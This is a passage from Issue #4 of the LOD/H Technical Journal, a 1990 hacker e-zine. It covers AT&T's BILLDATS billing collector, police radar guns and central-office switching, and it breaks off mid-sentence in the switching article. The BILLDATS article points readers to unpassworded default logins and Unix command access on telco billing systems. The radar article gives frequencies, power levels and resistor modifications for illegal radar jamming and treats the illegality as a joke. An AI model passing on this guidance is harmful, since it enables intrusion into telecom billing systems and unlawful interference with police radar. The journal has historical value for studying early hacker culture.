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The LOD/H Technical Journal, Issue #4: File 01 of 10
Finally Released: May 20, 1990

                                      THE

                           LOD/H TECHNICAL JOURNAL

                                  INTRODUCTION
                                  -------------


We are still alive. This publication is not released on any schedule. Past
attempts at scheduling issues have failed miserably. The editors refuse to
release issues which are not up to our self-defined standards. We have in the
past, and will continue in the future, to accept articles from anyone (e.g.
non LOD) as long as the articles adhere to our basic format and style. The
editors review all articles to verify accuracy and integrity however it may
not be  possible in all cases to check every fact. Plagiarized material is not
acceptable and we make every attempt to verify an article's originality. When
referenced material is used, the source for that material must be clearly
stated. The more articles we receive the sooner each issue is released. There
is a minimum 2 month review and editing period for each article. If you want
to contribute articles contact any member and they will forward articles to
the editors.

There seems to be some confusion as to what writers are (or were) in LOD/H and
what ones aren't. JUST BECAUSE SOMEONE WRITES FOR THIS PUBLICATION DOES NOT
MEAN THEY ARE AN LOD/H MEMBER! Just to clear up any confusion, a current
member list follows:

Erik Bloodaxe
Lex Luthor
Prime Suspect
Phase Jitter
Professor Falken
Skinny Puppy

File 06: The History of LOD/H is a short article explaining the origin of the
group. We realize this is of interest to only a few, and most people probably
could care less. However, also included is a list of EVERY member who was ever
in the group. This is to clear up any and all misconceptions about members.
The press, telecommunications and computer security people, law enforcement,
and others can finally get their facts straight [See Issue #3, article 10,
Clearing up the mythical LOD/H Busts for a prime example, and also in the
Network News and Notes section -- first two articles regarding more so called
'LOD BUSTS']. Another purpose is to thwart would-be group impostors. SYSOPS
who give system access to individuals solely because they are a member of some
respected group are urged to verify the hacker's identity as best they can. No
one should be taken on their word alone.

This issue is dedicated to the three (now "retired") members who recently
received visits from our friends and yours, the U.S. Secret Service and
Bell South Security: The Leftist, The Urvile, and The Prophet. Again, see
the Network News and Notes section for the stories.
Although the TJ is distributed to many boards, the inability for any decent
board to consistently remain online prevents us from utilizing "sponsor"
boards as distribution hubs. Therefore, the TJ will be distributed to whatever
boards are around at the time of release. Due to the lack of boards the
newsletter will be distributed in diskette form to those who can help in its
distribution.


___________________________________________________________________________

                                TABLE OF CONTENTS


Name of article or file                            Author                Size
-----------------------------------------------------------------------------
01 Introduction to the LOD/H Technical Journal     Staff                 04K
   and Table Of Contents for Issue #4

02 The AT&T BILLDATS Collector System              Rogue Fed             14K

03 The RADAR Guidebook                             Professor Falken      17K

04 Central Office Operations                       Agent Steal           32K

05 A Hackers Guide to UUCP                         The Mentor            27K

06 The History Of LOD/H                            Lex Luthor            12K

07 The Trasher's Handbook to BMOSS                 Spherical Abberation  11K

08 The LOD/H Telenet Directory Update #4  Part A   Erik Bloodaxe         65K

09 The LOD/H Telenet Directory Update #4  Part B   Erik Bloodaxe         43K

10 Network News and Notes                          Staff                 38K


Total:  7 Articles  10 Files  263K

____________________________________________________________________________

                               End Of Intro/TOC
                                    Issue #4
The LOD/H Technical Journal, Issue #4: File 02 of 10


                          The AT&T BILLDATS Collector
                                  Written by:
                                   Rogue Fed

==============================================================================


NOTES: This article will hopefully give you a better understanding of how
the billing process occurs. BILLDATS is just one part of the billing picture.
Before I began working for the government, I was a Telco employee and thus,
the information within this article has been learned through experience.
Unfortunately, I was only employed for a few months (including training on
BILLDATS) and am still learning more about the many systems that a telco uses.
There are however, a couple of lists that were compiled and slightly modified
from what little reference material I could smuggle out and my notes from the
training class. This article does require a cursory knowledge of telco and
computer operations (ie. switching, SCCS, UNIX).


INTRODUCTION -
==============

BILLDATS - BILLing DATa System

BILLDATS can be explained in a nutshell by the acronym listed above. If it's
one thing telecommunications providers do well, it's creating acronyms.
Basically, BILLDATS collects billing information (that's why they call it a
Collector) from AMATs (Automatic Message Accounting Transmitters). The AMATs
are situated in or close to switching offices and are connected to BILLDATS
either through dedicated or dial-up lines. BILLDATS can be considered as
the "middleman" in the billing process. The system collects, validates, and
adds identification information regarding origination and destination. This
is then transferred to tape (or transmitted directly) to the RPC (Regional
Processing Center) or the RAO (Revenue Accounting Office). The RPC/RAO
actually processes the billing information. Typically the BILLDATS system is
located in the same or adjoining building (but can be across town) to
the RPC/RAO.

BILLDATS is similar to many other phone company systems (ie. SCCS) as it uses
a combination of software. The software base is UNIX and the BILLDATS Generic
program runs on it. The hardware used is an AT&T 3B20 (this is what 5ESS
switches use).

Some of the more interesting features BILLDATS possesses are:

*        Can be accessed via dialup (always a plus).
*        Runs under UNIX (another plus).
*        Interface with SCCS (yet another plus).
*        Can store about 12 million calls for the first two disks and about
         8 million calls for each additional disk. A total of 6 (675 MB) disks
         can be used.
*        Inserts the sensor type and ID and recording office type and ID onto
         every AMA record that it collects.
*        Capable of collecting information from nearly 600 AMATs.

To better understand how/why you get a bill after making long distance phone
calls, I have delineated the steps involved.

You call Hacker X and tell him all about the latest busts that have occurred,
he exclaims "Oh Shit!" hangs up on you and throws all his hacking information
into the fireplace. The actual call is referred to as a call event. As each
event happens (upon termination of the call) the event is recorded by the
switch. This information is then sent via an AMA Transmitter which formats the
information and then sends it to BILLDATS (commonly called a "Host
Collector"). BILLDATS then provides the information to the RAO/RPC. The
billing computer is located at the RAO/RPC. Do not confuse the actual billing
system with BILLDATS! The billing computer:

*   Contains customer records
*   Credit ratings (in some telcos)
*   Totals and prints the bill
*   Generates messages when customers do not pay (ie. last chance and
    temporary termination of service)

When the billing period is over, (typically 25-30 days), many events (it
depends on how many calls you have made) have accumulated. A bill is then
generated and mailed to you.


COLLECTION -
============

BILLDATS collects information in two ways:

1.       AMATs
2.       Users

AMAT input
----------

BILLDATS collects data from the AMAT either directly from the switch, or from
a front end which performs some processing on the data before giving it to
BILLDATS. The data I am talking about here is usually AMA billing information.
The information is in the usual AMA format (see Phantom Phreaker's article in
the LOD/H Technical Journal, Issue #3 on AMA for formats and other info). As
I said earlier, the recording office and sensor types and IDs have to be
added by BILLDATS. The other information that is transmitted is usually
maintenance data.

The data that is transferred between BILLDATS and an AMAT is accomplished
over either dedicated or dialup lines using the BX.25 protocol. This protocol
has been adopted by the telecommunications industry as a whole. It is
basically a modified version of X.25.

User input
----------

This is simply sysadmin and sysop information.


INSERTED INFORMATION -
======================

Once the information is collected, additional data (mentioned earlier)
must be inserted. The information that BILLDATS inserts into the AMA records
it receives depends on whether the AMAT is a single or multi-switch AMAT.
Either way, the data is passed through the DEP. The DEP is a module which
is part of the LHS (Link Handler Subsystem) that actually inserts the
additional data. It also performs other functions which are rather
uninteresting to the hacker. The LHS manages the x-mission of all the
collected information. This is either through dedicated or dialup lines. The
LHS is responsible for:

*   Logging of statistics as related to the performance of links.
*   Polling of remote switches for maintenance and billing information.
*   Passing information to the DEP in which additional information is
    inserted.
*   Storing billing information.
*   Other boring stuff.


AMATS -
=======

Basically an AMAT is a front end to the switch. The AMAT:

*   Gets AMA information from the switch.
*   Formats and processes the information.
*   Transmits it to BILLDATS.
*   An AMAT can also store information for up to 1 week.

The following is a list of switches and their related AMAT equipment that
BILLDATS obtains billing information from:

1A ESS: This is usually connected to a 3B APS (Attached Processor System) or
        BILLDATS AMAT.
2ESS:   This is connected to an IBM Series 1 AMAT.
2BESS:  Connected to a BILLDATS AMAT.
4ESS:   Connects to 3B APS.
5ESS:   Direct connection.
TSPS 3B:Direct connection.
DMS-10: Connects to IBM Series 1 AMAT.

There are other AMATs/Switches but they must be compatible with the BILLDATS
interface.


ACCESSING BILLDATS -
====================

Even though a system is UNIX based, that doesn't mean that it is a piece of
cake to get into. Surprisingly (when you think about the average Intelligence
Quotient of telco personnel) but not surprisingly (when you consider that the
information contained on the system is BILLING information--the life blood of
the phone company) BILLDATS is a little more secure than your average telco
system, except for the fact the all login IDs are 5 lower case characters or
less. BILLDATS can usually be identified by:

bcxxxx 3bunix SV_R2+

where:

bc = B(ILLDATS) C(ollector).
xxxx = The node suffix. This is entered when the current Generic is installed.
3bunix = This simply indicates that UNIX is running on an AT&T 3Bxx system.
SV_R2+ = Software Version.

The good news is that there is a default username when the system is
installed. The bad news is that upon logon, the system forces you to choose a
password. The default username is not passworded initially. The added security
feature is simply that the system forces all usernames to have passwords. If
it doesn't have an associated password, the system will give you the message:

"Your password has expired. Choose a new one"

A 6-8 character password must then be entered. After this you will be asked
to enter the terminal type. The ones provided are AT&T terminals (615, 4425,
and 5420 models). Once entered a welcome message will probably be displayed:

"Welcome to the South Western Bell BILLDATS Collector"
"Generic 3, Issue 1"
"Tuesday 01 Aug 1989 12:44:44 PM"

dallas>

The BILLDATS prompt was displayed "dallas>" where dallas is the node name.

There are 3 privilege levels within BILLDATS:

1.       Administrator
2.       Operator
3.       UUCP

*   Administrator privs are basically root privs.
*   An account with Operator privs can still do about anything an Admin can do
    except make data base changes.
*   UUCP privs are the lowest and allow file transfer.


Commands
--------

Just like SCCS, UNIX commands can be entered while using BILLDATS. The format
is:

dallas>run-unx:$unix cmd;

All unix commands must be preceded by "run-unx:" and end with a semicolon ";".
The semicolon is the command terminator character (just like Carriage Return).

BILLDATS isn't exactly user friendly, but it does have on-line help. There are
a number of ways that it can be obtained:

dallas> help-?;  or  help-??;  or  ?-help;  or  ??-help;

If you want specific help:

dallas> help-(command name);

I can list commands forever, but between UNIX (commands every hacker should
be familiar with) and help (any moron can use it), you can figure out which
ones are important.


Error Messages
--------------

Just like SCCS, BILLDATS has some rather cryptic error messages. There are
thousands of error messages, once you know a little about the format they
are easier to understand. When a mistake is made, something similar to
the following will appear:

UI0029      (attempted command) is not a valid input string.

  ^                   ^- error message information
  |
  |--  This is the subsystem and error message number

The following is a brief description of subsystem abbreviations:

BD: BILLDATS system utilities. Errors associated with the use of utility
    programs will be displayed.
DB: Data Base manager. These messages are generated when accessing or
    attempting to access the various Data Bases (explained later) within
    BILLDATS.
DM: Disk Manager. Basically, information pertaining to the system disk(s).
EA: Error and Alarm. As the name implies, system errors and alarms.
LH: Link Handler. Messages related to data link activity, either between
    BILLDATS and the AMAT or BILLDATS and the RAO/RPC.
SC: Scheduler. The scheduler is BILLDATS' version of the UNIX cron daemon.
    BILLDATS uses cron to schedule things like when to access remote systems.
TW: Tape Writer. Messages related to storing billing information on tapes
    which will then be transported to the RAO/RPC.
UI: User Interface. This was used in the above example. Displays syntax,
    range or status errors when entering commands.
DL: Direct Link. Instead of BILLDATS information being written to tape, a
    direct link to the RPC/RAO mainframe (the actual billing system computer)
    can be accomplished. This is usually done when BILLDATS is located far
    away from the RPC/RAO office as there is always some risk involved in
    transporting tapes, and that risk increases the farther away the two
    offices are. Another neat thing about Direct Link is that the billing data
    can be sent across a LAN (Local Area Network) also. Obviously this incurs
    some concerns regarding security, but from what I have heard and seen,
    AT&T and the BOC's typically choose to ignore the security of their
    systems which suits me just fine. The Direct Link is an optional BILLDATS
    feature and if it is in use, messages related to its operation are
    displayed with the DL prefix.


BILLDATS DATA BASES -
=====================

The databases contain all kinds of useful information such as usernames,
switch types, scheduled polling times, etc.

The AMAT Data Base contains:

*   Type of switch
*   Sensor type and identification
*   AMAT phone number
*   Channel and port number/group
*   Other boring information

The Port Data Base contains:

*   Communications information (like L-Dialers on UNIX Sys. V)
*   Channel and port information
*   Other boring information

The Collector Data Base contains:

*   Collector office ID
*   Version number of the Data Base
*   Number and speed of any remote terminals
*   When reports are scheduled for output
*   Other boring information


CONCLUSION -
============

If you are not technically oriented, I hope this article helped you understand
how you get your bill. I assumed that you would skip over the commands for
using BILLDATS and similar information.

If you are technically oriented, I hope I not only helped you understand more
about the billing process, but also increased your awareness of how detailed
the whole process is. And if you do happen to stumble onto a BILLDATS system,
you have been pointed in the right direction as far as using it correctly is
concerned.

I tried to leave out all the boring details, but some may have slipped by me.
I reserved the right to omit specific details and instructions regarding any
alteration or deletion of calls/charges for my own use/abuse.

The Rogue Federal Agent


                              [ End Of Article ]

The LOD/H Technical Journal, Issue #4: File 03 of 10


                             The Radar Guidebook
                                      by
                               Professor Falken


-----------------------------------------------------------------------------

   Anyone who has driven a car without a radar detector before, has gotten
that paranoid feeling that the cops are around radaring.  This feeling is not
a nice one; it is the feeling that somewhere somehow someone is watching you.
In this article I will attempt to explain how radar guns work, what bands
the guns work on, why they are wrong 70% of the time, how to employ stealth
technology in defeating the radar, and last but not least jamming the radar.

   RADAR stands for RAdio Detecting And Ranging.  A speed-radar gun works
under the Doppler theory.  This theory is that when a signal is reflected off
an object moving toward you, the signal will be at a higher frequency than the
initial frequency, this increase in frequency is used to calculate speed.
Many of you have experienced the Doppler effect, which occurs when a noise
from a siren increases in strength (gets louder) as it approaches and
decreases in strength (gets softer) as it moves away from you.

   Right now in the United States, there are three bands that are Federal
Communication Commission (FCC) certified for "field disturbance sensors",
known to you and me as radar guns.  These bands have proper non-technical
names, and all operate in the GigaHertz range.  GigaHertz is a measure of
frequency; one GHz equals one billion cycles per second.  Most frequency
modulation (FM) radio broadcasts are made in the 0.088 GHz to 0.108 GHz band,
in MegaHertz that is 88 MHz to 108 MHz.  The three proper names for these
radar bands are: X, K, and Ka.

   One of the older radar bands is the X band.  X band radar is the most
commonly used radar band in the United States.  X band radar transmits its
signal at 10.5250 GHz.  The wattage of the radar's signal really depends upon
the gun manufacturer.  However, most manufacturers agree that a 100 milliwatt
signal is "High-Power" and the 40 milliwatt range is "Low Power".  The gun's
range also depends upon the manufacturer.  The average maximum range of a X
band gun is 2500 feet.  That estimate is based on the assumption that the gun
is operating at full-strength (100mw).  Most radar detectors give off a
false signals on this band due to ultrasonic motion detectors employed
by various burglar alarm systems.  Large grocery stores also use these to
open the doors magically as you walk in or out.

   Another older band is K band.  K band operates on 24.150 GHz and is not as
popular as X band, but it is gaining in usage throughout the country.  The
normal signal strength of K band guns again depends upon the manufacturer,
but the ones I've seen all operate at 100 milliwatts at high-power.  These
guns have a maximum range of 3000 feet, assuming they are at 100mw signal
strength.

   A new type of radar has been introduced and assigned a frequency by the
Federal Communications Commission.  This new band has been assigned the name
Ka and has been designated a frequency of 34.360 GHz.  Current Ka technology
gives the gun a maximum effective range of 40 to 200 feet.  This band
was originally made for use with photo-radar.  The photo-radar can be set up
on a tripod on the side of the road or in the back of a police car.  The
user then triggers a button when he wants a car in the guns range
clocked, automatically taking a picture of the car & license plate.
At the time the photograph is taken a date and time is imprinted on the
picture.  The police keep one duplicate for archival purposes and sends the
other to the registered owner of the car along with ticket information and the
amount due.   This type of system can only work in places that hold the owner
of a vehicle responsible for any violations that occur with the car.  The
legal barriers for photo radar to overcome are extensive, most notably, not
giving the vehicle owner due process and the presumption of guilt.  There is
a system out now for $19.95 that defeats Ka band photo radar.  I expect it to
be illegal VERY QUICKLY once Ka is more widely used.  This little baby slips
over your license plate and acts as venetian blinds.  When looking straight at
the plate it looks like a normal plate with a black frame.  However when
looking at it from a Ka band Photo Radar's angle it looks like a license plate
with a silver streak covering the whole plate, making it impossible to
identify.  This device is called the Photobuster and is available from
most radar detector specialty stores.

   There are two different types of radar guns.  They are Instant-On/Pulse and
Constant Broadcasting Radar.  The names are self-explanatory, but I will
explain them anyway.  The constant broadcast radar continually transmits
its radar signal, and anything in its path will be clocked.  Instant-On &
Pulse radars are basically identical, and are both very deadly since they are
harder to detect as a threat.  The Instant-On gun is really nothing more than
an ON/OFF switch for signal transmission.  In order to have a pulse gun, all
a cop has to do is purchase one with a "HOLD" feature or just turn the gun
on when he/she wishes to use it.  The "HOLD" feature is simply a button that
keeps the gun on but makes sure no signal is being transmitted.  No one can
detect a gun that is off or in "HOLD" mode.  An officer using an Instant-On
radar gun will periodically check the speed of the traffic.  These samplings
can easily be detected and will give the user of a detector prior warning to
a Instant On/Pulse activated radar gun.

   Many detectors on the market today provide anti-falsing circuitry.  Falsing
is the triggering of the radar detector from something other than a radar gun.

   One or two detector manufactures make their detectors with GaAs diodes.
GaAs diodes are Gallium Arsenide diodes which are a military grade electrical
component that helps produce a good signal-to-noise ratio.

   All new model radar detectors use Superheterodyne technology.
Superheterodyne, also known as active technology, amplifies all incoming
signals hundreds of times, which makes it more sensitive and selective as to
which signals will trigger an alert.  Superheterodyne technology also gives
out a minute internal radar signal of its own, which can be picked up by older
(Pre/Early 1980's) non-anti-falsing radar detectors.  If you have a newer
model radar detector, this small internally generated signal is no problem to
your's or anyone's anti-falsing radar detecting unit.  NOTE: In states
where radar detectors are illegal (Ex. Virginia, Canada) the police have
devices which detect this Superheterodyne signal.  Police can then stop
you and confiscate your detector.  Getting around this police tactic
would be to use an early radar detector without Heterodyne/Superheterodyne
detection technology.

   Many compact/shirt pocket radar units are "exclusively made with SMD's".
These SMD's are Surface Mounted Devices and contain extremely small resistors,
transistors, diodes, and capacitors.  Just because a manufacturer uses SMD's,
that does NOT make the unit any better than a larger detector of the same age.

   Cincinnati Microwave Inc., the makers of Escort and Passport say they have
the exclusive technology for the detection and anti-falsing of RASHID VRSS
technology.  RASHID VRSS is actually the Rashid Radar Safety Brake Collision
Warning System.  It is an electronic device that operates on K band
frequencies and warns heavy trucks and ambulances of hazards in their path.
About 900 RASHID VRSS units have been prototyped in three states.  Since the
number of actual operating RASHID units is so minute, I really doubt you will
run into one.

   There are two ways a radar gun can produce an incorrect speed reading.
These are known as the Cosine Error and Moving Radar Error.  The Cosine Error
occurs when a radar gun gives a lower reading than the actual speed of the
target.  This occurs because the gun can only measure the doppler shift that
occurs directly towards or away from the antenna.  If the object moves at an
angle to the gun, the shift will be lower than if it moves directly at the
antenna.  Therefore the reading the radar gun gives will be less than the
actual speed of the object.  The radar reading can be calculated by taking
the Actual Speed times the cosine of the incidence angle.  So if the target
car's actual speed is 50 miles per hour and it is 37 degrees off of the
mainline radar signal, the radar speed will be 40 miles per hour. Look:

Cosine Error Theory:
Actual Speed  x  Cosine of Incidence Angle  =  Radar's Shown Speed

Cosine of 37 degrees is 0.80
50 MPH  x  0.80  =  40 MPH

So if you see a radar enabled cop coming head-on towards you it would be a
good idea to get into the right hand lane, or further if possible, as this
increases the angle and thus lowers your radar speed.  The other error is the
Moving Radar Error, which occurs only when a police car is using a moving
radar gun.  A false reading is obtained by the unit because before it
can radar you it must radar something along side the road to get the patrol
car's speed.  Most often, billboards and parked cars are used for this initial
patrol car speed calibration.  It is susceptible to errors because of the
Cosine Error, mentioned above.  Once the patrol car has its speed (wrong or
not), it assumes that the target's (YOU) speed is the difference between the
highest oncoming signal and the patrol speed; but if the patrol speed is lower
it will ADD that error on to the target speed.  So the target speed (YOU) will
read higher than you were actually traveling.  Here's the theory and a
problem:

Moving Radar Theory:
Closing Speed  -  Patrol Speed  =  Target Speed

The ACTUAL speeds for these are:
Patrol Car Speed - 60 MPH
Target Car Speed - 60 MPH
Closing Speed - 120 MPH

Due to the Cosine Error the TARGET CAR's speed will cause the gun to
calculate a LOW reading for the actual patrol car's speed due to the cosine
error.

The RADAR calculated speeds are:
Patrol Car Speed - 50 MPH
Target Car Speed - 70 MPH
Closing Speed - 120 MPH

Thus you can see how the police car is going to get an incorrect reading.
This is a good one to memorize and bring into court for any tickets.

   It's been recently brought to my attention that there are stealth-bras for
cars.  From what I understand, the bras actually absorb the radar, and reflect
such a weakened signal that the radar gun cannot detect it.  I have not seen
one of these in person, but from what I have heard they are made out of a VERY
DENSE rubber/metal composite.  The bra probably traps the signal very much
like the F-117/B-2 stealth aircraft do.  The material is probably made up of
hexagonal shaped cells, the back of the cell being at a slight angle, so that
any signal coming into the cell will have to bounce around within the cell
before exiting it.  The inside of each cell is filled with a radar absorbing
material.  As the signal hits the back of the hexagonal cell it is bounced
around inside the cell through the absorbing material, weakening the signal
each time it does so.  Upon leaving the cell, the signal is so weak the
radar's receiver may not pick up the signal until the target is near enough
to give a positive return on the radar screen.  When the aircraft is getting
closer, within radar range, the signal reflected may be so small the radar's
controller may think he is picking up ground interference, a flock of birds
or possibly bad weather.  The actual radar absorbing material is classified at
this time by the government.  The actual composite on the car bra is certainly
not as good as the actual radar absorption material of the aircraft, but I'm
sure it is somewhat similar.

   Radar jamming is done very much the way any other type of radio jamming is
done.  You simply overpower the frequency being used with a frequency of your
own.  Radar jamming/overpowering is ILLEGAL in the United States.  To jam a
signal all you need is a transmitter, an amplifier and an antenna.  To jam a
gun using a K band radar (24.150 GHz) all you do is get a transmitter that can
transmit in the 20 GHz range and a 10-100 watt amplifier and antenna.  Send
out a signal at around 24.05 GHz.  This signal will make the cop's radar
either show a 0 or an incredibly slow speed such as -520.  Usually the
cop's radar cannot show a negative sign, so it will just be 520.  This
10-100 watt signal that you are transmitting will overpower the signal
his/her radar sent out and is waiting to receive.   His/her gun is only at
100 milliwatts, and you're transmitting at 10-100 watts; its like using a
12-gauge shotgun against a rodent.

   Where can you get microwave transmission equipment?  You can check local
electronic shops, satellite stores, Cable TV companies and local television
stations as to where they buy their microwave transmission gear.  Or you can
buy a radar gun of your own, and leave it ON whenever your driving.  This will
give the cop's gun a very strange reading, most likely zero. If it is
possible, once you have the gun bring it to a "corrupt" electronics shop and
have it modified for high powered transmission, preferably in the 10 to 100
watt range.

   Some radar guns have resistors implemented just before the antenna, but
just after the amplifier for de-amplification of the transmitter's signal.
This means that most guns already have a good (1 watt or so) transmit
capacity, but it is suppressed to bring the actual transmit signal to the
100mw area.  The owner of the gun only has to know which resistors to take
out, then he/she will have a functional high powered gun.  If this small
wattage does not satisfy you, you may have to purchase a separate amplifier
for the gun, and have it wired directly into the radar's transmitter antenna.
This modification is expensive not to mention illegal, but then again what the
hell isn't these days.  I have seen six different types of guns offered from
National Radar Exchange.  The following are a few major radar gun
manufacturers that are sold out of most radar shops. They are:

KUSTOM SIGNAL:
Kustom Signal HR-12  K Band 100mw signal 2000-3000 foot maximum range $695.00
Kustom Signal HR-8   K Band 100mw signal 1800-3000 foot maximum range $495.00

CMI INC.:
Speedgun One  X Band 100mw signal 1000-2500 foot maximum range $395.00
Speedgun Six  X Band 100mw signal 1000-2500 foot maximum range $495.00
(Since these units are the same, the only differences are things like
last speed reading recall, 10 number memory, etc.)

MPH INC.:

MPH K-55  X Band 40mw signal 1200-2500 foot maximum range $495.00
(Can clock target in 1/2 second, which is exceptionally fast for radar guns)

The only differences between the models are their bands and their options,
such as a "HOLD" button, last speed recorded etc.

   I have found these to be some of the top units in the radar detector world
   currently and are listed as follows:

MOST SENSITIVE   MOST FEATURES   BEST LOOKING   MOST RELIABLE    SMALLEST
--------------   -------------   ------------   -------------  -------------
COBRA 4120       COBRA 4120      Whistler 3SE   ESCORT         Uniden RD-9XL
BEL 944          COBRA 3160      BELL 944       K40            Whistler 3SE
Snooper 6000     BELL 944        Uniden RD-9XL

 BEST VALUE         LOUDEST           BEST FILTERED
------------     --------------    ------------------
Snooper 4000     COBRA 5110        Snooper 6000
Cobra 5110       COBRA 3120        Other Snoopers
Cobra 3168       Whistler Q2002
Maxon RD25

   I did not get to see Cincinnati Microwave's new "SOLO", nor BEL's
"Vector 3", "Express", nor it's newer "Legend 3."

Just because a detector is the MOST sensitive doesn't mean it is the best
detector.  Because of the sensitivity you could pick up more alarms.  What
you want is a detector with excellent sensitivity, but good anti-falsing
circuitry.

   I hope this article has given you some insight on how radars work and
how their tickets CAN be defeated.  Keep safe and sane,

                                               Professor Falken
                                                Legion Of Doom


<EOF>
The LOD/H Technical Journal, Issue #4: File 04 of 10


            $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
            $                                                  $
            $             Central Office Operations            $
            $            Western Electric 1ESS,1AESS,          $
            $         The end office network environment       $
            $                                                  $
            $            Written by Agent Steal 1989           $
            $                                                  $
            $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


     Topics covered in this article will be:

        Call tracing
        RCMAC
        Input/output messages
        SCC and SCCS
        COSMOS and LMOS
        BLV, (REMOB) and "No test trunks"
        Recent change messages
        Equal Access

    Did I get your attention? Good, everyone should read this. With the time,
effort, and balls it has taken me compile this knowledge it is certainly worth
your time. I hope you appreciate me taking the time to write this.

    I should point out that the information in this article is correct to the
best of my knowledge. I'm sure there are going to be people that disagree
with me on some of it, particularly the references to tracing. However, I
have been involved in telecommunications and computers for 12+ years.

    I'm basing this article around the 1AESS since it is the most common
switch in use today.


     ** OUTSIDE PLANT **

    This is the wiring between your telephone and the central office. That is
another topic in itself. If you are interested read Phucked Agent 04's article
on The Outside Loop Distribution Plant (OLDP) in the LOD/H Technical Journal,
Issue #1. The article explains those green boxes you see on street corners,
aerial cables, manholes etc. So where that article stops, this one starts.


     ** CABLE VAULT **

     All of the cables from other offices and from subscribers enter the
central office underground. They enter into a room called the cable vault.
This is a room generally in the basement located at one end or another of the
building. The width of the room varies but runs the entire length of the
building. Outside cables appear through holes in the wall. The cables then run
up through holes in the ceiling to the frame room.

     Understand that each of these cables consist of an average of 3600 pairs
of wires. That's 3600 telephone lines. The amount of cables obviously depends
on the size of the office. All cables (e.g. interoffice, local lines, fiber
optic, coaxial) enter through the cable vault.


     ** FRAME ROOM **

     The frame is where the cable separates into individual pairs and attach
to connectors. The frame runs the length of the building, from floor to
ceiling. There are two sides to the frame, the horizontal side and the
vertical side. The vertical side is where the outside wiring attaches and the
protector fuses reside. The horizontal side is where the connectors to the
switching system reside. Multi-conductor cables run from the connectors to
actual switching equipment. So what we have is a large frame called the Main
Distribution Frame (MDF) running the entire length of the building. From floor
to ceiling it is 5 feet thick. The MDF consists of two sides, the VDF and the
HDF. Cables from outside connect on one side and cables from the switching
equipment connect to the other side and jumper wires connect the two. This way
any piece of equipment can be connected to any incoming "cable pair". These
jumper wires are simply 2 conductor twisted pair, running between the VDF and
the HDF.

     What does all this mean? Well if you had access to COSMOS you would see
information regarding cable and pair and "OE" (Office Equipment). With this
information you could find your line on the frame and on the switch. The VDF
side is clearly marked by cable and pair at the top of the frame, however the
HDF side is a little more complicated and varies in format from frame to frame
and from switch to switch. Since I am writing this article around the 1AESS,
I will describe the OE format used for that switch.

    OE  ABB-CDD-EFF

   Where..

      A = Control Group (when more than one switch exists in that C.O.)
      B = LN  Line Link Network
      C = LS  Line Switching Frame
      D = CONC or CONCentrator
      E = Switch (individual, not the big one)
      F = Level

    There is one more frame designation called LOC or LOCation. This gives the
location of the connector block on the HDF side. Very simply, looking at the
frame:


H  ---------------------------------------------------------------------

G  ---------------------------------------------------------------------

F  ---------------------------------------------------------------------

E  ---------------------------------------------------------------------

D  ---------------------------------------------------------------------

C  ---------------------------------------------------------------------

B  ---------------------------------------------------------------------

A  ---------------------------------------------------------------------

   123456789 etc.

    Please note that what you are looking at here represents the HDF side of
the MDF, being up to 100 feet long, and 20 feet high. Each "-" represents a
connector block containing connections for 4 x 24 (which is 96) pairs.

    So far I've covered how the wires get from you to the switching
equipment. Now we get to the switching system itself.


    ** SWITCHING SYSTEMS **

    Writing an article that covers them all would be lengthy indeed. So I am
only going to list the major ones and a brief description of each.

    - Step by Step
      Strowger 1889
      First automatic, required no operators for local calls
      No custom calling or touch tone
      Manufactured by many different companies in different versions
      Hard wire routing instructions, could not choose an alternate route if
      programed route was busy
      Each dial pulse tripped a "stepper" type relay to find its path

    - No.1 Crossbar 1930
    - No.5 Crossbar 1947 (faster, more capacity)
      Western Electric
      First ability to find idle trunks for call routing
      No custom calling, or equal access
      Utilized 10x20 cross point relay switches
      Hard wired common control logic for program control
      Also copied by other manufactures

    - No.4 Crossbar
      Used as a toll switch for AT&T's long lines network
      4 wire tandem switching
      Not usually used for local loop switching

    - No.1ESS  1966
    - No.1AESS 1973
      Western Electric
      Described in detail later

    - No.1EAX
      GTE Automatic Electric
      GTE's version of the 1AESS
      Slower and louder

    - No.2ESS  1967
    - No.2BESS 1974
      Western Electric
      Analog switching under digital control
      Very similar to the No.1ESS and No.1AESS
      Downsized for smaller applications

    _ No.3ESS
      Western Electric
      Analog switching under digital control
      Even smaller version of No.1AESS
      Rural applications for up to 4500 lines

    - No.2EAX
      GTE Automatic Electric
      Smaller version of 1EAX
      Analog switch under digital control

    - No.4ESS
      Western Electric
      Toll switch, 4 wire tandem
      Digital switching
      Uses the 1AESS processor

    - No.3EAX
      Gee is there a pattern here? No GTE
      Digital Toll switch
      4 wire tandem switching

    - No.5ESS
      AT&T Network Systems
      Full scale computerized digital switching
      ISDN compatibility
      Utilizes time sharing technology
      Toll or end office

    - DMS 100 Digital Matrix Switch
      Northern Telecom
      Similar to 5ESS
      Runs slower
      Considerably less expensive

    - DMS 200
      Toll and Access Tandem
      Optional operator services

    - DMS 250
      Toll switch designed for common carriers

    - DMS 300
      Toll switch for international gateways

    - No.5EAX
      GTE Automatic Electric
      Same as above

    How much does a switch cost? A fully equipped 5ESS for a 40,000
subscriber end office can cost well over 3 million dollars. Now you know why
your phone bill is so much. Well...maybe you parents bill.


    ** The 1ESS and 1AESS **

    This was the first switch of it's type put into widespread use by Bell.
Primarily an analog switch under digital control, the switch is no longer
being manufactured. The 1ESS has been replaced by the 5ESS and other full
scale digital switches, however, it is still by far the most common switch
used in today's Class 5 end offices.

    The #1 and 1A use a crosspoint matrix similar to the X-bar.  The primary
switch used in the matrix is the ferreed (remreed in the 1A).  It is a two
state magnetic alloy switch.  It is basically a magnetic switch that does not
require voltage to stay in it's present position. A voltage is only required
to change the state of the switch.

   The No. 1 utilized a computer style, common control and memory.  Memory
used by the #1 changed with technology, but most have been upgraded to RAM.
Line scanners monitor the status of customer lines, crosspoint switches,
and all internal, outgoing, and incoming trunks, reporting their status to
the central control.  The central control then either calls upon program or
call store memories to chose which crosspoints to activate for processing the
call.  The crosspoint matrices are controlled via central pulse distributors
which in turn are controlled by the central control via data buses.  All of
the scanner's AMA tape controllers, pulse distro, x-point matrix, etc., listen
to data buses for their address and command or report their information on
the buses. The buses are merely cables connecting the different units to the
central control.

   The 1E was quickly replaced by the 1A due to advances in technology. So
1A's are more common, also many of the 1E's have been upgraded to a 1A.
This meant changing the ferreed to the remreed relay, adding additional
peripheral component controllers (to free up central controller load) and
implementation of the 1A processor.  The 1A processor replaced older style
